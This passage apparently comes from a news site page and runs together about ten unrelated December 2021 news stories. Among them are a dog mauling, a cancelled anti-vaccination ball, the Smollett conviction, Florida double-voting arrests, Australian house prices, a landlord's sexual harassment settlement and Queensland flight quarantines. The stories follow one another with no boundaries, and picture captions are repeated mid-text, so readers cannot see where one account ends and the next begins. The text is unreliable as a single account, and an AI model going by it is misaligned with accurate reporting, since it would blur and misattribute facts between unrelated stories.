through it. But he's only a child.' 'To be over just an innocent type thing of wanting to pet some puppies, it's just devastating,' said Chief Kidney. 'What kind of Christmas is this child gonna have now? What kind of life, in general, is this child gonna have now?' he pondered. 'To be over just an innocent type thing of wanting to pet some puppies, it's just devastating,' said Chief JR Kidney, pictured. 'What kind of Christmas is this child gonna have now? What kind of life, in general, is this child gonna have now?' he pondered. The family have set up a GoFundMe account to help pay Axel's medical expenses 'We raced to the hospital. When we got there, the nurses confirmed his arm was dismembered from his body,' Axel's mom, Destiny McDow, right, said. 'I don't know what he's going through. I never went through it. But he's only a child.' The dog that mauled little Axel was shot and killed. Tecumseh Police Department together with the Department of Human Services are now trying to determine if Axel was being properly supervised at the time. If not, the grandparents may yet face charges of child neglect. 'I'm hoping it was simply an accident that the child was able to get to the pen, but we will look at everything,' Kidney said The family have set up a GoFundMe account in which Dow detailed how her little boy is still not out of danger: 'He has undergone two surgeries, and is still fighting not only to keep his arm but his life.' An event featuring prominent figureheads from Australia's anti-vaccination and anti-lockdown protests has been cancelled at the last minute. The 'Freedom Ball' was planned for Wednesday evening at Le Montage in Lilyfield in Sydney's inner west, in line with eased restrictions for unvaccinated residents. Tickets for the event were sold at $500 a pop, which boasts a lineup of guest speakers including UAP leader Craig Kelly, anti-vax activist Monica Smit and right-wing commentator Avi Yemini. A 'Freedom Ball' organised by Simeon Boikov (pictured) has been abruptly cancelled a day before it was scheduled after the hosting venue pulled out The $500 ticketed 'Freedom Ball' was planned for Wednesday evening at Le Montage in Lilyfield in Sydney's inner west Invitations spruiking the event advertised an array of guest speakers who have been present at anti-vaxx rallys across the country 'This is your opportunity to spend the night with some of your favourite personalities of the freedom movement, in an exclusive red-carpet event as we celebrate the end to segregation and medical apartheid in NSW,' read the invitation. The ball was organised by Simeon Boikov, the self-proclaimed leader of the Australian Cossacks movement, who spruiked the ball via social media this week. But the event was cancelled, less than a day before it was booked, after the venue abruptly pulled out of hosting the ball. Mr Boikov claimed 90 per cent of tickets were complimentary and only 10 were sold to the public at $500 for people who wanted to 'support the ball' (pictured, a link appearing to advertise VIP meet and greet tickets for the Freedom Ball) Despite reports the event would be held in the venue's carpark, Mr Boikov said the ball would be moved to an undisclosed location 'out of respect'. 'For the sake of the students, for the sake of the venue I don't want anyone to go down there and protest and cause a ruckus, we could if we wanted... but please don't,' he said in a video uploaded to YouTube on Wednesday. 'For those people who are attending the ball, the ball is still happening we will not reveal the location until 3pm tomorrow.' The 'exclusive red-carpet event' was planned celebrate an 'end to segregation and medical apartheid in NSW' He added 90 per cent of tickets were complimentary and only 10 were sold to the public at $500 for people who wanted to 'support the ball'. A worker from Navarro Venues, which owns Le Montage, told Daily Mail Australia that staff were unaware of who was behind the booking and said it was made as a corporate Christmas Party. An invitation to the ball spruiked guest speakers including United Australia Party leader Craig Kelly (pictured) 'We were unaware of who this person was,' the worker said. 'We are just exhausted and don't need the drama, it's been an exhausting 18months for hospitality workers because of Covid. 'We have a duty of care to our guests and staff, there are high school formals booked.' The worker said they could neither confirm or deny if the venue was pressured by NSW Police to shutdown the event. Mr Boikov has claimed the event will still go ahead with reports attendees could gather in the car park of the venue Guest speaker and United Australia Party leader Craig Kelly claimed the event was shutdown as part of a 'targeted political attack'. 'What appears to have happened is anti-freedom "activists" have bombarded the centre with threats, police went to the centre and encouraged them to cancel,' he told Daily Mail Australia. 'An important part of our democratic freedoms is the right to assembly, it shouldnt matter what the political affiliations of the function centre are.' NSW Police said officers did not direct the venue to shutdown the ball and confirmed there would be a police presence outside the venue. Chicago Pastor Corey Brooks says he's happy disgraced actor Jussie Smollett 'got caught in his lie' for staging a hate crime hoax that horrified the nation and stoked racial tensions. Smollett, 39, was convicted on five counts of disorderly conduct last week for fabricating a bogus racist and homophobic hate crime. 'Im glad he got caught in his lie,' Brooks said in his latest episode of Rooftop Revelations, which was posted by Fox News. Brooks, who leads New Beginnings Church in Chicago's south side, is intimately familiar with the violence plaguing Chicago. He said he was furious with the actor for 'using the race card' when 'we have so much stuff going on with all the fights with all the shooting.' 'He comes to our city and uses the race card to divide us, not to help us deal with the issues were faced with not to help us deal with - the violence were dealing with every single day - but uses the race card to further divide us as American people.' Brooks, the head of Project HOOD - a nonprofit dedicated to ending gang violence - also hit out at liberals, celebrities and media outlets such as GQ magazine that blindly supported Smollett and stoked racial tensions before learning the full story. I wonder how [GQ] must feel now after supporting a man who tried to racially divide all of America,' Brooks said. 'Supporting someone who is trying to not make America better but was looking at the evil intentions and trying to use them to divide us even further apart.' Smollett, who faces up to 20 years in jail for staging the fake hate crime hoax, first claimed that he was beaten down by white, racist thugs in Chicago in early January 2019, just outside his apartment. Scroll down for video The pastor said Smollett used his status as a racial minority to 'further divide the American people' Actor Jussie Smollett was convicted last week on five counts of disorderly conduct for lying to police about being victimized in a racist and homophobic attack He said he was the victim of a racist, homophobic attack, but his story unraveled as investigators probed the stories and discovered Smollett actually paid his attackers Chicago investigators - who accumulated a $130,000 overtime bill probing the case - later discovered Smollett orchestrated the whole thing in a failed attempt to bolster his acting career. The fake attack was carried out by Nigerian brothers Abimbola and Olanbinjio Osundairo who the star had paid $3,500. Smollett's claims that the attackers hurled insults at him and hung a noose around his neck were first accepted as true and sparked nationwide condemnation, especially among prominent liberals and the left. Kamala Harris, called for everyone to support Smollett and described it as a modern day lynching. 'Jussie Smollett is one of the kindest, most gentle human beings I know,' Harris tweed. 'I'm praying for his quick recovery. This was an attempted modern day lynching. Vice President Kamala called the incident a modern day lynching Democrats Alexandria Ocasio-Cortez and Rashida Tlaib also showed support for Smollet Bernie Sanders tweeted his sympathy for Jussie Smollett after the alleged attack 'No one should have to fear for their life because of their sexuality or color of their skin. 'We must confront this hate.' Harris was mocked mercilessly Twitter for the old tweet following Smollett's conviction. Other liberal stars whose pro-Jussie tweets have now aged very poorly include Democratic representatives and Squad members Alexandria Ocasio-Cortez as well as Rashida Tlaib. AOC tweeted: 'There is no such thing as racially charged. This attack was not possibly homophobic. It was a racist and homophobic attack. 'If you dont like what is happening to our country, then work to change it. It is no ones job to water down or sugar-coat the rise of hate crimes.' Brooks, who leads New Beginnings Church in Chicago's south side, expressed frustration that Smollett played the 'race card' in a city already struggling with gun and gang violence Abimbola (left) and Olabinjo Osundairo (right)were paid $3,500 to attack Smollett And Tlaib said: 'When one of the most famous black and gay men in America is not safe, the message is clearer than it has ever been.' 'The dangerous lies spewing from the right wing is killing & hurting our people. Thinking of you @jussiesmollett, and my LGBTQ neighbors.' Senator Bernie Sanders called the case 'a horrific instance of the surging hostility toward minorities around our country.' Celebrities - including Naomi Campbell, John Legend, Fergie, Shonda Rhimes and the Reverend Al Sharpton - initially rallied behind Smollett. 'The racist, homophobic attack on Jussie Smollett is far right Americas end game,' GQ tweeted in January 2019. Even Donald Trump, then president, called the case 'horrible', telling reporters in the Oval Office: 'It doesn't get worse than that and I mean it.' 'I can tell you that its horrible. It doesnt get worse,' he said of the attack. Three Donald Trump supporters from a Florida retirement community have been arrested on charges of voting more than once in the 2020 election. Jay Ketcik, 63, Joan Halstead, 71, and John Rider, 61, who live in The Villages in Sumter County, were arrested separately over the past two weeks and could face up to five years in prison. They were each charged with casting more than one ballot in the presidential election after complaints were filed by the Sumter County Supervisor of Elections. While it is not known who they voted for, Ketcik and Halstead are registered Republicans and all three have shared pro-Trump posts online. Ketcik was arrested last week on a charge of third-degree felony fraud Joan Halstead (left), 71, and Jay Ketcik (right), 63, have been arrested on charges of voting more than once in the 2020 election John Rider (pictured), 61, was arrested at the beginning of the month on a charge of third-degree felony fraud He entered a not guilty plea, and court records show he intends to 'attack the sufficiency of the charge.' An arrest report did not detail why he was charged, but Orlando television station WKMG, citing court documents, reported he was accused of voting by mail in Florida in October 2020 while also casting an absentee ballot in Michigan. Halstead was arrested two weeks ago for voting in person in Florida and by absentee ballot in New York during the 2020 election, according to an arrest report. She has entered a not guilty plea and also said in court papers she intends to attack 'the sufficiency' of the charge. Rider was arrested at the beginning of the month on a similar charge. An arrest report did not say why he was facing the charge. There was no online docket in Sumter County yet for Rider, who was arrested in Brevard County, so it was not known if he had an attorney. No phone number was listed on an arrest report. It is not a crime to be registered in more than one state but it is illegal to cast a ballot in multiple states. The trio live in The Villages in Sumter County (pictured) and could face up to five years in prison Trump continues to push the theory that his election defeat was caused by voter fraud which suppressed his count and boosted Joe Biden's numbers. This has been debunked by multiple reviews and investigations. The arrests come weeks after Florida Gov. Ron DeSantis proposed new restrictions on ballot drop boxes, creating the election police force and changes that would strengthen penalties for ballot harvesting. During his announcement, DeSantis, echoed many talking points on voting problems that have gained traction in the GOP following former President Donald Trump's false claims that his reelection was stolen from him. DeSantis is up for reelection next year and is eyeing a 2024 presidential run. The governor had previously praised the 2020 election in Florida as smooth, and there was widespread consensus among election officials and experts that there was no fraud that could have affected results in the last presidential election. An Associated Press review of every potential case of voter fraud in the six battleground states disputed by Trump has found fewer than 475 - a number that would have made no difference in the 2020 presidential election. House prices in Australia are rising at the fastest pace in two decades pushing capital city values to the brink of the $1million barrier. But in Sydney, the median price for a home with a backyard now stands at a very expensive $1.5million, latest Real Estate Institute of Australia data showed. Across the capital cities, house prices in the year to September rose by 23.4 per cent based on sales, after the Reserve Bank of Australia cut the cash rate to a record low of 0.1 per cent. The weighted mid-point price covering Sydney, Melbourne, Brisbane, Adelaide, Perth, Hobart, Darwin and Canberra stood at $961,600. This is the first time since June 2002 that capital city house prices have risen by an annual pace of more than 20 per cent. House prices in Australia are rocketing at the fastest pace in two decades pushing capital city values to the brink of the psychological $1million barrier. But in Sydney, the median price for a home with a backyard now stands at a very expensive $1.5million, new Real Estate Institute of Australia data showed (pictured is a house at Toongabbie in Sydney's west) Sydney house prices went up by an even more severe 30.4 per cent to a very unaffordable $1.499million, with prices rising at an even faster pace than the most expensive cities in Canada and California. Annual capital city house prices rises SYDNEY: Up 30.4 per cent to $1,499,126 MELBOURNE: Up 23.6 per cent to $1,072,500 BRISBANE: Up 18.5 per cent to $640,000 ADELAIDE: Up 11.1 per cent to $550,000 PERTH: Up 8.3 per cent to $520,000 CANBERRA: Up 22.2 per cent to $895,000 HOBART: Up 30.3 per cent to $710,000 DARWIN: Up 19.9 per cent to $575,500 Source: Real Estate Institute of Australia median house price data for the year to September 2021 Advertisement Melbourne values for a home with a backyard surged by 23.6 per cent to $1.073million. Canberra house prices soared by 22.2 per cent to $895,000. Despite having a population of less than 250,000 people, Hobart is now Australia's fourth most expensive capital city market with a mid-point house price of $710,000 following an annual increase of 30.3 per cent. Brisbane's median house price rose by 18.5 per cent to $640,000. Half a million goes further in Perth, where median house prices rose by 8.3 per cent to $520,000 - making it the only capital city market with an annual increase in the single digits. Adelaide house prices rose by 11.1 per cent to $550,000 as Darwin prices increased by 19.9 per cent to $575,000. Adrian Kelly, the outgoing president of the Real Estate Institute of Australia, said he was worried about first-home buyers being locked out of the housing market. 'It is my hope that in 2022 we will see a more normal supply of properties coming to market which will start to ease the affordability issues currently being experienced by first home buyers and tenants,' he said. By world standards, Australia is one of the most expensive housing markets when property prices are compared with incomes. The Demographia housing think tank in the United States rates Sydney as the world's third least affordable city in the developed world, after Hong Kong and Vancouver. Across the capital cities, house prices in the year to September rose by 23.4 per cent based on sales, after the Reserve Bank of Australia cut the cash rate to a record low of 0.1 per cent. In Sydney (Kirribilli pictured) house prices went up by an even more severe 30.4 per cent to a very unaffordable $1.499million, with prices rising at an even faster pace than the most expensive cities in Canada and California But four other Australian state capitals are among the 25 dearest globally. Hong Kong had the highest price-to-income ratio of 20.7, compared with Vancouver's 13, Sydney's 11.8, and Auckland at 10, closely followed by Toronto on 9.9 and Melbourne at 9.7. In Vancouver, median house prices have this year risen by an annual pace of 24.9 per cent, taking values in Australian dollars terms to $1.8million, data from real estate group Royal LePage showed. Three of the next four on the Demographia list were in California - San Francisco and San Jose where prices in the US west coast are forced sky-high by well-paid tech workers, then Honolulu in Hawaii and Los Angeles. In San Francisco, the median house price by 12.1 per cent to $A2.5million, California Association of Realtors figures showed. Cities with a price-to-income ratio of more than 5.1 are considered to be 'severely unaffordable' by the Demographia Housing Affordability Ratings. The Australian Prudential Regulation Authority, the banking regulator, considers a debt-to-income ratio of six to be risky, where a borrower would struggle to service their repayments. The Demographia study rated Adelaide as the world's 13th least affordable city with a debt-to-income ratio of 7.7. Despite having a population of less than 250,000 people, Hobart (Constitution Dock, pictured) is now Australia's fourth most expensive capital city market with a mid-point house price of $710,000 following an annual increase of 30.3 per cent Brisbane was 18th on the unaffordability list with an equivalent ratio of 6.6, with Perth the 23rd least attainable with a debt-to-income ratio of six. Going by the latest REIA data, Australia's capital city house price of $961,600 means that even with a 20 per cent deposit of $192,320, a borrower would owe the bank $769,280. That is 8.5 times an average, full-time salary of $90,329 which would put an individual borrower in mortgage stress unless they were buying with their significant other. Demographia's calculations are based on median incomes, which are lower than the average. In Vancouver, median house prices have this year risen by an annual pace of 24.9 per cent, taking values in Australian dollars terms to $1.778million, data from real estate group Royal LePage showed New Australian Bureau of Statistics data, released on Tuesday, showed that median male, full-time earnings in August stood at $80,132. A middle-income man buying a capital city house, with a 20 per cent deposit, would have a debt-to-income ratio of 9.6. A man buying a Sydney house, also with a 20 per cent deposit, would have a debt-to-income ratio of 15. If men can't afford a Sydney house on their own, there's even less chance for women, who had a mid-point, full-time salary of $71,760. Joseph Centanni, 74, agreed to pay $4.39 million to a victims fund and to never own or manage rental properties again A New Jersey landlord who demanded oral sex from his desperate tenants, some of whom were about to be evicted, has agreed to pay $4.5 million in the largest housing sexual harassment settlement ever reached. Joseph Centanni, 74, owned hundreds of rental units across 18 properties in and around the city of Elizabeth, where he harassed his tenants over a period of 15 years, according to the Department of Justice. He asked for sexual favors in exchange for helping them get or keep housing, at one point telling a woman who was afraid of going back to a shelter with her children: 'You know what you have to do.' It is unclear exactly how many tenants Centanni harassed, though prosecutors in Union County have charged him with coercing at least 20 victims into sexual acts. He is out on bail and has since sold all of his properties, some of which he's owned since the 1990s. He's also banned from owning or managing rentals in the future. Centanni will pay $4.39 million to tenants and prospective tenants through a victim compensation fund. He was also ordered to pay a $107,050 civil penalty to the United States. At his office at 249 W. Jersey Street, Centanni led a prospective female tenant to an apartment where he asked a massage, unbuckled his pants, and told her, 'You know what you have to do' The DOJ called the case the 'largest monetary settlement the Department has ever obtained in a case alleging sexual harassment in housing.' The federal department first filed a lawsuit against Centanni alleging violations of the Fair Housing Act in August 2020, prompting state prosecutors to follow up on the claims. Centanni targeted women and gay and bisexual men, according to the DOJ. Since at least 2005, he sometimes asked for oral sex in exchange for reduced rent or help obtaining rental assistance. He also asked for sexual favors to excuse late or unpaid rent. In January 2018, a mother of three young children cried as she told Centanni that she was being evicted from her home and that she was afraid of having to go back to a shelter with her kids. He told her that he could help, but that she'd have to return the favor at a later date, the woman told police, according to NJ.com. She showed up to his office at 249 W. Jersey Street with the necessary paperwork and housing vouchers. Centanni then led her to an apartment in the building. He asked for a massage. As the woman massaged his back, Centanni unbuckled his pants. 'You know what you have to do,' Centanni allegedly said while lying on a bed and grabbing his penis. Centanni owned hundreds of rental units across 18 properties in and around Elizabeth, New Jersey, including 246 Edgar Place in Elizabeth, above Centanni targeted desperate tenants. He took Section 8 vouchers, which netted him about $102,000 a month. Above, a 'For Rent' sign in Palo Alto, California in July 2006 '(The woman) said she thought Centanni would not agree to rent her the apartment if she did not comply, and so she performed oral sex on Centanni,' according to the Union County Prosecutor, who has charged Centanni with 35 criminal charges. According to the DOJ, Centanni would sometimes expose his genitals and make unwelcome sexual comments and advances to tenants and prospective tenants. In another case, a woman on the verge of eviction 'was desperate and scared' that she and her teenage daughter would be homeless in the winter, according to prosecutors. Centanni allegedly made her get on her knees and beg for her apartment in the laundry room of the building. 'Centanni then unzipped his pants and told her to give him [oral sex if] you want your apartment,' the complaint says. He has since sold all his properties and is now barred from owning or managing rentals again. Above, a former property at 240-242 Edgar Place in Elizabeth The woman said she looked at him and said, 'I want my apartment Joe, please dont do this.' Centanni then asked her 'to show me you want the apartment.' 'She did what she had to do to keep her apartment,' the complaint states. The behavior went even further, with Centanni allegedly initiating eviction proceedings against those who objected to his advances. Some of the victims went to police with their claims. NJ.com obtained four police reports from Centanni's victims reporting his behavior. The earliest one is from 2017. Some prospective tenants were referred by PROCEED, a local organization that provides rental assistance to low income residents. Two weeks after moving in, one man referred to Centanni by PROCEED says he was called to his landlord's office and led to another apartment, where Centanni allegedly asked him to fondle his genitals and to 'not to tell anyone otherwise he could lose his apartment.' 'After the incident, Centanni gave (the man) $10 and said he would see (the man) in church,' prosecutors say, adding that Centanni told the man not to tell anyone or he would call PROCEED and have him removed from the apartment. Centanni threatened and harassed his tenants as he received tens of thousands from taxpayers in rental assistance programs. Centanni participated in the federal Housing Choice Voucher Program, also known as Section 8, which pays landlords to offer tenants lower rent payments. He received about $102,000 from the program every month. 'The need for housing is a basic human need,' Acting US Attorney Rachael A. Honig of the District of New Jersey said in a statement. 'Joseph Centanni exploited that need, and the important federal programs that attempt to meet it, by threatening to deny his victims a roof over their heads if they did not submit to his demands for sexual acts. 'This landmark settlement demonstrates our unyielding commitment to combat sexual harassment in housing and to ensure that no one is subject to discrimination because of their sex, including based on their sexual orientation or gender identity.' Centanni has since sold all of his rental properties, according to the DOJ, and is now 'permanently enjoined' from owning and managing residential rental properties in the future. He will also be required to dismiss any housing court judgments he won in 'proceedings deemed to be retaliatory' and will have to 'take steps to repair the credit of any affected tenants.' Centanni is also facing 35 state criminal charges related to at least 20 victims ranging in age from 22 to 61. Above is 523-527 Cherry Street in Elizabeth, one of his former properties In separate criminal charges, prosecutors in Union County have charged Centanni with coercing at least 20 tenants into sexual acts. He's been charged with 13 counts of second-degree sexual assault, one count of second-degree attempted sexual assault, and 21 counts of fourth-degree criminal sexual contact, according to the DOJ. The victims in those cases range in age from 22 to 61. 'Each of the victims reported feeling as though they had no choice but to concede to Centanni's demands, citing dire personal circumstances such as trying to maintain housing for their young children,' according to the Office of the Union County Prosecutor. Centanni's attorney, however, says he's innocent. 'Mr. Centanni settled the matter to avoid protracted litigation,' his attorney, Raymond Londa, told the New York Post about the $4.5 million deal. 'Mr. Centanni continues to deny the allegations.' Centanni has owned properties in Elizabeth since the early 1990s, according to property records. He has been free on bail since he was first criminally charged back in March. His next court hearing is in January. Big Brother VIP winner Luke Toki pictured right with his close friend Nikola Maksimovic, who has been charged with conspiring to sell meth The home of Big Brother VIP winner Luke Toki has been raided by police over his links to a bikie boss charged with conspiring to deal meth. The reality star owns a third of a trucking business based at Western Australian Comanchero commander Nikola Maksimovic's home in Safety Bay in Perth's south. Maksimovic - who denies charges of selling or supplying meth - is one of Toki's close friends and was a groomsman at the TV personality's wedding, The Western Australian reported. Daily Mail Australia is not suggesting Toki has any involvement in the alleged meth racket or any of the other allegations subject of Maksimovics charges. Toki shares ownership of a company called Segano Holdings with Maksimovic's partner Ellie Sutherland. The company trades under the name Eclipse Transport and Plant Hire, which the two friends previously ran together. Maksimovic (pictured far-right) was a groomsman at Toki's wedding. Maksimovic denies charges of selling or supplying meth The Comanchero bikie is also charged with laundering property and money from proceeds of a major offence. He has pleaded not guilty to all charges. Maksimovic was charged after police allege they searched a shipping container and found 56kg of drugs spread across three plastic containers. In an Instagram video, Toki responded to reports about the police raid by talking about his 'rough' childhood. Toki with his wife Mary. He responded to reports about the police raid by talking about his 'rough' childhood 'I had a very bloody rough growing up... a lot of stuff kids shouldnt see,' he said. 'I went away on the mines when I was younger and tried to go down the right path and continue to work. I moved away with my family, I tried to give my kids a different type of growing up than I had.' Toki, who rose to fame on Australian Survivor in 2017, won $100,000 for his chosen charity the Perth Children's Hospital Foundation for Cystic Fibrosis Clinical Research by winning Big Brother VIP in November. Big win: Luke earned $100,000 for his chosen charity the Children's Hospital Foundation for Cystic Fibrosis Clinical Research - a cause which is close to his heart - by winning Big Brother VIP in November Toki's two eldest boys, Lennox, and Nate, eight, suffer from autism, while his youngest daughter, two-year-old Madeline, was diagnosed with cystic fibrosis shortly after being born. The reality star is pictured with his family The cause is close to his heart as his two eldest boys, Lennox, and Nate, eight, suffer from autism. His youngest daughter, two-year-old Madeline, was diagnosed with cystic fibrosis shortly after being born. Upon hearing the news of his win, Luke said: 'It's so great that I now get to go back to Perth Children's Hospital with a big stack of cash.' Four years after names such as N****rs Bounce were wiped from the map in Queensland, another place name that symbolises Australia's dark past is about to go. Black Gin Creek near the outback town of Longreach is the latest name to get the flick. The Darumbal people say it's a 'racist' way to describe an Aboriginal woman and approve of its new name Watyakan Creek. 'It's been known to me (as Black Gin Creek) all my life, that's 60-odd years,' Kerry Thompson, who works as a health coordinator, told Daily Mail Australia. Black Gin Creek's name (pictured) is about to be changed to Watyakan Creek 'It was known as that in my grandparents' time too. For Aboriginal people it has always been a racist name, especially for our people out here. We saw it as derogatory.' But Ms Thompson and other local Indigenous people have finally been able to get Queensland's Longreach Regional Council to change the name. 'A lot of history came with why those names were given, because of atrocities that happened and we can't deny that they did happen.' Ms Thompson, as a custodian of the country, was invited by an Aboriginal elder from Longreach to get involved in the battle to have the named changed. 'He asked me to go along and support him at a council meeting which was instigated by the council. They said a letter had come in saying the name was disrespectful and wanted to see if the name could be changed.' For Ms Thomspon, this was a long overdue chance to right a historical wrong. 'For many years Aboriginal people have voiced their concerns about the name of that Creek, but if fell on deaf ears,' she said. The new name will be Watyakan Creek - meaning Women's Creek - which pays tribute to the women who historically camped near it. Health coordinator Kerry Thompson (pictured) worked to have the name Black Gin Creek changed by Longreach Regional Council 'I acknowledge Longreach Regional Council for taking that huge step forward. I'm all about reconciliation,' Ms Thompson said. Des Crump, a University of Queensland Indigenous language fellow, was involved in coming up with the new name. 'It's very encouraging that the Longreach council have taken that step to do something about it and hopefully it encourages other councils to reconsider some of those name changes,' he told ABC. Darumbal elder Aunty Sally Vea Vea said there were still many racist place names across Queensland that need to be changed, including other Black Gin Creeks and Black Fella Creeks. 'They're just memorials to a racist past,' she said. Longreach Regional Council currently does not have any plan to change the name of Chinaman Creek (pictured) Such names are dotted around other states too. There is, for instance, a Chinamans Beach in the Sydney suburb of Mosman, which is home to some of the wealthiest people in the country. Longreach Mayor Tony Rayner is happy with the name change for Black Gin Creek, which was 'a little bit offensive for some'. But he is not expecting any other name changes in the area, which includes a place called Chinaman Creek. 'It would depend on whether anyone was offended by that,' he said. 'But I think you have to be reasonable - that one probably wouldn't be offensive to many people. It is a little bit subject to interpretation,' he told ABC's Danielle O'Neal and Erin Semmler. The controversially named Chinamans Beach (pictured) is in the Sydney suburb of Mosman, home to some of the wealthiest people in Australia In 2017, ten offensive place names in Queensland were changed after public pressure. After concern was raised about N****rs Bounce, south-west of Townsville, the Natural Resources and Mines Department launched a review into location names across the state. Nine others - Mount N****r, N****r Head and seven instances of N****r Creek - were found to be 'similarly offensive' and were scrapped and renamed. The best known example of a place name changed to its Indigenous designation is Uluru in the Northern Territory, previously known as Ayers Rock. Celebrities seeking to block news reports about their activities could face a 'higher threshold' to win court injunctions under the new proposals. Planned reforms under a new Bill of Rights would emphasise the right to freedom of expression - including the importance of a 'free and vibrant media'. The changes will make clear that courts should only allow steps which would impinge on freedom of expression where there are 'exceptional reasons'. One of the most widespread legal measures used to restrict freedom of expression is the injunction - a legal order obtained by an application to a judge to prohibit specified information. Injunctions have been widely used by celebrities and other prominent individuals to keep extra-marital affairs and other misdeeds out of newspapers. Under the current Human Rights Act, introduced by Tony Blair's Labour government, the courts can grant an injunction if it is 'likely' a judge would decide in a trial that publication should not be allowed. Dominic Raab's plans would require applicants to make a more convincing argument to obtain an injunction Dominic Raab's plans would require applicants to make a more convincing argument to obtain an injunction. 'The government is considering whether a higher threshold should be required,' the consultation paper said. It did not set out what the new measure could be. But in 2011, a judicial committee found injunctions were being issued 'almost automatically' by 'vacation or weekend duty judges, who had no particular expertise in the field of privacy' or a full understanding of the Human Rights Act. It noted that Lord Nicholls, a Law Lord, said in a 2005 ruling that the more appropriate threshold for an injunction should be 'probably' or 'more likely than not' - a significantly higher hurdle in legal terms. Yesterday's TUES consultation paper also set out wider concerns about free speech, amid growing fears that 'cancel culture' is stifling legitimate debate. Prime Minister Boris Johnson's official spokesman said there were concerns that a combination of privacy law 'licensed' by the Human Rights Act and the 'sensitivity of our society to opposing views' had 'whittled away some of the scope for debate'. Freedom of expression was 'essential for our democracy', the spokesman said. Eurocrats could scupper Britain's plans to reform the Human Rights Act by threatening to rip up a key part of the Brexit deal that deals with fighting cross-border crime. Deputy Prime Minister Dominic Raab, a long-time opponent of the legislation, wants a Bill of Rights to stop 'vexatious' bids by foreign criminals to avoid deportation. It would also ensure British rulings take precedence over those from the European Court of Human Rights in Strasbourg. But the European Commission warned that the move could spell the end for a pact between Britain and Brussels to cooperate on crime. In a statement, the Commission said: 'Security cooperation can be suspended in case of violations by the UK of its commitment for continued adherence to the European Convention of Human Rights and its domestic enforcement.' A senior EU source said: 'We will follow all of these things very closely.' But the European Commission warned that the move could spell the end for a pact between Britain and Brussels to cooperate on crime The Daily Mail revealed last year that Boris Johnson had backed down and made fresh pledges to follow decisions laid down by Strasbourg judges. Brexit Minister Lord Frost, the former UK negotiator, argued last year that hard-wiring such commitments into the trade deal would undermine Britain's 'sovereign independence'. Downing Street eventually shifted its stance, preferring to retain access to the bloc's joint enforcement programmes and several EU crime-fighting databases. They include access to passenger data and a system to share DNA records that UK investigators used some 12,000 times from July 2019 to June 2020, according to Hansard. Britain can also share information with several EU agencies, such as Europol, under the agreement struck with Brussels last year. The Daily Mail revealed last year that Boris Johnson had backed down and made fresh pledges to follow decisions laid down by Strasbourg judges Tony Blair's Labour government brought in the Human Rights Act in 1998, which incorporated the European Convention on Human Rights (ECHR) directly into domestic law. It means people can pursue alleged violations through the British courts instead of having to spend years in a lengthy and costly legal battle in Strasbourg. The ECHR was drafted in 1950 by the Council of Europe, a human rights body that is entirely separate from the EU, to prevent a repeat of the atrocities of the Second World War. But the Human Rights Act has become increasingly unpopular with many Conservative MPs, who argue the law goes way beyond what the ECHR's founders intended. Annastacia Palaszczuk's Queensland government has quickly backflipped on its decision to force passengers on two planes to spend Christmas in isolation, after national outrage at the move ranging from the Prime Minister to Tracy Grimshaw and Leigh Sales. Queensland Health Minister Yvette D'Ath announced on Wednesday morning that travellers on the two Virgin flights will now be classified as casual, rather than close contacts, meaning they can be tested and released from quarantine. On Tuesday evening Queensland Health said passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining Christmas. The decision will see the air travellers on the flights reunited with their families for Christmas. Passengers who sat near the infected passenger two rows in front and behind, however, will be asked to remain in quarantine for the full 14 days. 'I've been advised this morning that the Chief Health Officer and the deputies have viewed that we can apply the normal rules in relation to these flights and we don't need to wait until we get the findings of whether it's Omicron because, if it is, we still will apply these rules,' Queensland Health Minister Yvette D'Ath said. 'That means that other than those people - who will be directly advised they are close contacts, because they were either part of the travelling party or sitting immediately around this individual - the remainder of the passengers will be deemed to be casual contacts.' The casual contacts on the flights will need to get tested, isolate until they get a negative result, and monitor for symptoms over the next 14 days. Queensland Health Minister Yvette D'Ath announced on Wednesday morning that travellers on the two Virgin flights will now be classified as casual, rather than close contacts, meaning they can be tested and released from quarantine in time for Christmas Passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining their Christmas The backflip came as the state announced six new locally acquired Covid cases, two of which are believed to be the Omicron variant. The new cases are believed to have been infectious in the community for up to six days and are spread across the state, including Goondiwindi, Wide Bay, Townsville, Gold Coast and Brisbane south. The case in Brisbane south is believed to have attended the Argyle House venue in Newcastle, where up to 150 people had now tested positive, many believed to be with Omicron. The infected person on the flight from Newcastle to Brisbane attended another exposure site in Newcastle, Ms D'Ath said. The man then flew onto Townsville but did not spend significant time in the community while infectious. Another Omicron case was detected in hotel quarantine - a traveller who arrived from the United Kingdom. 'Rules have to make sense or people will reject them,' ACA host Tracy Grimshaw Tweeted in response to the decision by Queensland Health to force hundreds of travellers on two Virgin flights to go into 14 days self-isolation over Christmas The host of Nine's A Current Affair pointed out the hypocrisy of the Prime Minister being able to move around the state while travellers on the plane were forced to isolate for two weeks 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a covid case?' Tweeted Leigh Sales after Queensland told two planeloads of travellers to self-isolate until after Christmas Day It's not the first time the ABC's 7.30 presenter has weighed in on the Covid policies of state governments and health authorities Queensland's Chief Health Officer Dr John Gerrard justified the snap decision to force the Virgin passengers into isolation because it was the first flight into the state carrying an Omicron case. 'We made the decision, given that this occurred late in the day, that we would immediately quarantine all patients on that flight until we had an opportunity to discuss, first among ourselves, the experts within Queensland Health, but in addition with our interstate colleagues, how best to deal with the passengers on this flight,' he said. 'We took an extremely cautious approach. This is the first domestic flight on which a likely Omicron case has been diagnosed.' Ms D'Ath said the public health unit took a similar approach as it had when the first cases of the Delta variant emerged. 'Our public health team has always acted very quickly to put up exposure sites because we want the public to know as soon as possible that you are possibly at risk and have been exposed to the virus,' she said. She also revealed that the passengers on the two Virgin flights had not even been contacted by Queensland contact tracers but the isolation advice had been published on the Queensland Health website. Ms D'th addressed concerns that the backflip will shake the confidence of those looking to book travel to Queensland. 'The chief health officer and public health unit have advised that all future flights, whether it is Omicron or Delta, that it will only be those people sitting immediately around the positive case that will need to be deemed close contacts,' she said. Queensland began welcoming visitors from interstate 'hotspots' back as of last Monday morning The decision to force the passengers into isolation erupted on Wednesday morning, with Prime Minister and other prominent Australians weighing into the controversy. On Brisbane radio this morning, Mr Morrison urged the Queensland government to reunite passengers with their families. 'PCR testing, being able to look at ways to ensure people be able to join their families before Christmas, I would hope, is a very high priority for them,' he told Spencer Howson on 4BC. Sales, the host of 